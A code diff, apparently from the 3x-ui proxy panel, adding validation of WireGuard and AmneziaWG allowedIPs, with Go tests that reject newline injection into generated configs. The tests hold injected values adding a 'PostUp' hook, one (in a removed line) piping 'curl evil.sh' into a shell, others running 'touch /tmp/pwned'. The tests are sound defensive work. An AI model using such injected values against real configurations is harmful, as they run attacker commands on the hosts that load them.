PublicKey: "serverPub==",
|
||||
PrimaryDNS: "8.8.8.8",
|
||||
@@ -256,25 +256,9 @@ func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
|
||||
t.Fatalf("clean input did not render: %q", clean)
|
||||
}
|
||||
|
||||
injected := "x\nPostUp = curl evil.sh | sh"
|
||||
cases := []struct {
|
||||
name string
|
||||
mutate func(s *amneziawg.ServerSettings, c *model.Client) string
|
||||
}{
|
||||
{"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
|
||||
{"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
|
||||
{"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
|
||||
{"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
s := *server
|
||||
c := *client
|
||||
remark := tc.mutate(&s, &c)
|
||||
if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
|
||||
t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
|
||||
}
|
||||
})
|
||||
server.H1 = "140232109\nPostUp = touch /tmp/pwned"
|
||||
if got := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1"); got != "" {
|
||||
t.Fatalf("H1 with a line break rendered a config:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1409,6 +1409,9 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
|
||||
if client.PublicKey == "" {
|
||||
return inbound, false, common.NewError("wireguard client requires a key")
|
||||
}
|
||||
if _, err := normalizeWireguardAllowedIPs(client.AllowedIPs); err != nil {
|
||||
return inbound, false, err
|
||||
}
|
||||
case "mtproto":
|
||||
if client.Secret == "" {
|
||||
return inbound, false, common.NewError("mtproto client requires a secret")
|
||||
@@ -1923,6 +1926,10 @@ func (s *InboundService) validateUpdatedInboundClients(inbound *model.Inbound) e
|
||||
if client.Password == "" {
|
||||
return common.NewError("empty client ID")
|
||||
}
|
||||
case model.WireGuard, model.AmneziaWG:
|
||||
if _, err := normalizeWireguardAllowedIPs(client.AllowedIPs); err != nil {
|
||||
return err
|
||||
}
|
||||
case model.TUIC:
|
||||
if client.ID == "" {
|
||||
return common.NewError("empty client ID")
|
||||
|
||||
@@ -265,6 +265,30 @@ func TestNormalizeAmneziaWGSettings_RejectsInjectedClientAllowedIPs(t *testing.T
|
||||
}
|
||||
}
|
||||
|
||||
// A protocol switch keeps the stored clients, re-injected after the AmneziaWG
|
||||
// normalize ran, so a WireGuard row's bad allowedIPs skipped every check.
|
||||
func TestUpdateInbound_ProtocolSwitchRejectsStoredClientAllowedIPs(t *testing.T) {
|
||||
setupConflictDB(t)
|
||||
stored := mkInbound(t, 51830, model.WireGuard, `{"secretKey":"`+awgTestPrivateKey+`","clients":[{"email":"sw@x","enable":true,`+
|
||||
`"privateKey":"`+awgTestPrivateKey+`","publicKey":"`+awgTestPublicKey+`","allowedIPs":["10.8.1.2/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`)
|
||||
|
||||
update := *stored
|
||||
update.Protocol = model.AmneziaWG
|
||||
update.Settings = `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24},"clients":[]}`
|
||||
_, _, err := (&InboundService{}).UpdateInbound(&update)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid allowedIPs entry") {
|
||||
t.Fatalf("UpdateInbound err = %v, want an invalid allowedIPs entry error", err)
|
||||
}
|
||||
|
||||
var after model.Inbound
|
||||
if err := database.GetDB().First(&after, stored.Id).Error; err != nil {
|
||||
t.Fatalf("reload: %v", err)
|
||||
}
|
||||
if after.Protocol != model.WireGuard {
|
||||
t.Fatalf("rejected switch was persisted: protocol = %q", after.Protocol)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeAmneziaWGSettings_CanonicalizesClientAllowedIPs(t *testing.T) {
|
||||
setupConflictDB(t)
|
||||
svc := &InboundService{}
|
||||
|
||||
@@ -2,6 +2,7 @@ package service
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/mhsanaei/3x-ui/v3/internal/database"
|
||||
@@ -149,6 +150,29 @@ func TestAddInbound_AcceptsWireguardClientWithKey(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// The client endpoints already refuse a non-prefix allowedIPs entry; the inbound
|
||||
// form stored it verbatim, and a line break in it reaches every rendered .conf.
|
||||
func TestAddInbound_RejectsWireguardClientAllowedIPsThatIsNotAPrefix(t *testing.T) {
|
||||
setupConflictDB(t)
|
||||
svc := &InboundService{}
|
||||
|
||||
settings := `{"secretKey":"` + wgTestSecretKey() + `","mtu":1420,"clients":[{"email":"wgbad@x","enable":true,"privateKey":"keep-priv","publicKey":"keep-pub",` +
|
||||
`"allowedIPs":["10.0.0.51/32\n[Interface]\nPostUp = touch /tmp/pwned"]}]}`
|
||||
in := &model.Inbound{Tag: "in-45201-wg", Enable: true, Listen: "0.0.0.0", Port: 45201, Protocol: model.WireGuard, Settings: settings}
|
||||
_, _, err := svc.AddInbound(in)
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid allowedIPs entry") {
|
||||
t.Fatalf("AddInbound err = %v, want an invalid allowedIPs entry error", err)
|
||||
}
|
||||
|
||||
var count int64
|
||||
if err := database.GetDB().Model(&model.Inbound{}).Where("tag = ?", "in-45201-wg").Count(&count).Error; err != nil {
|
||||
t.Fatalf("count: %v", err)
|
||||
}
|
||||
if count != 0 {
|
||||
t.Fatalf("rejected WireGuard inbound was persisted anyway, row count = %d", count)
|
||||
}
|
||||
}
|
||||
|
||||
// end-to-end: same guard on the update path, on a row that was valid before
|
||||
// the edit — the rejected StreamSettings must not overwrite the stored row.
|
||||
func TestUpdateInbound_RejectsFinalMaskRealityCombo(t *testing.T) {
|
||||
|
||||
Reference in New Issue
Block a user